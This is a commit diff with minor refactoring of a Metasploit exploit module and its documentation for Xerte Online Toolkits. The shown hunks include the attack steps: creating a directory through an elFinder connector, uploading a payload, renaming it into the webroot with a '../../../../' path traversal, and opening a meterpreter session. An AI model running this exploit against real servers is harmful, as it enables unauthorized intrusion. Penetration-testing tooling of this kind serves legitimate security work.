Small tweaks

Author: bootstrapbool

documentation/modules/exploit/multi/http/xerte_unauthenticated_mediaupload.md

@@ -119,7 +119,7 @@ which.
 3. `set RHOSTS <target>`
 4. `set TARGETURI <uri to xerte>` (e.g., `xerteonlinetoolkits/`)
 5. `set LHOST <your_ip>`
-6. `set username <valid user>`
+6. `set USERNAME <valid user>`
 7. `exploit`
 
 On success a meterpreter session will be started

modules/exploits/multi/http/xerte_unauthenticated_mediaupload.rb

@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 ##
 # This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
@@ -89,13 +91,15 @@ def get_elfinder_id(name, volume_id = 'l1')
   def create_dir(connector_uri, params, dirname, root_dir_id)
     dir_id = get_elfinder_id(dirname)
 
-    params['cmd'] = 'mkdir'
-    params['name'] = dirname
-    params['target'] = root_dir_id
+    create_dir_params = params.merge(
+      'cmd' => 'mkdir',
+      'name' => dirname,
+      'target' => root_dir_id
+    )
 
     res = send_request_cgi({
       'uri' => connector_uri,
-      'vars_get' => params
+      'vars_get' => create_dir_params
     })
 
     unless res && res.code == 302
@@ -141,13 +145,15 @@ def upload_file(connector_uri, params, filename, dir_id, payload)
   end
 
   def rename_file(connector_uri, params, shellname, dirname, file_id)
-    params['cmd'] = 'rename'
-    params['target'] = file_id
-    params['name'] = "#{dirname}/../../../../#{shellname}"
+    rename_file_params = params.merge(
+      'cmd' => 'rename',
+      'target' => file_id,
+      'name' => "#{dirname}/../../../../#{shellname}"
+    )
 
     res = send_request_cgi({
       'uri' => connector_uri,
-      'vars_get' => params
+      'vars_get' => rename_file_params
     })
 
     unless res && res.code == 302
@@ -217,14 +223,14 @@ def exploit
       success = true
       vprint_status("Successfully uploaded shell through #{project_dir}")
 
-      register_file_for_cleanup("#{base_params['uploadDir']}#{dirname}")
+      register_dir_for_cleanup("#{base_params['uploadDir']}#{dirname}")
       register_file_for_cleanup("#{base_params['uploadDir']}#{filename}")
       register_file_for_cleanup("#{webroot}/#{shellname}")
       break
     end
 
     if !success
-      print_error('Exploit failed. The target user likely has no projects.')
+      fail_with(Failure::NotFound, 'Exploit failed. The target user likely has no projects.')
     end
   end
 
@@ -234,7 +240,7 @@ def check
 
     res = send_request_cgi('uri' => uri)
 
-    if res && res.code != 200
+    if res.nil? || res && res.code != 200
       return Exploit::CheckCode::Unknown('Failed to connect to /setup. It was likely removed by an administrator after installation.')
     end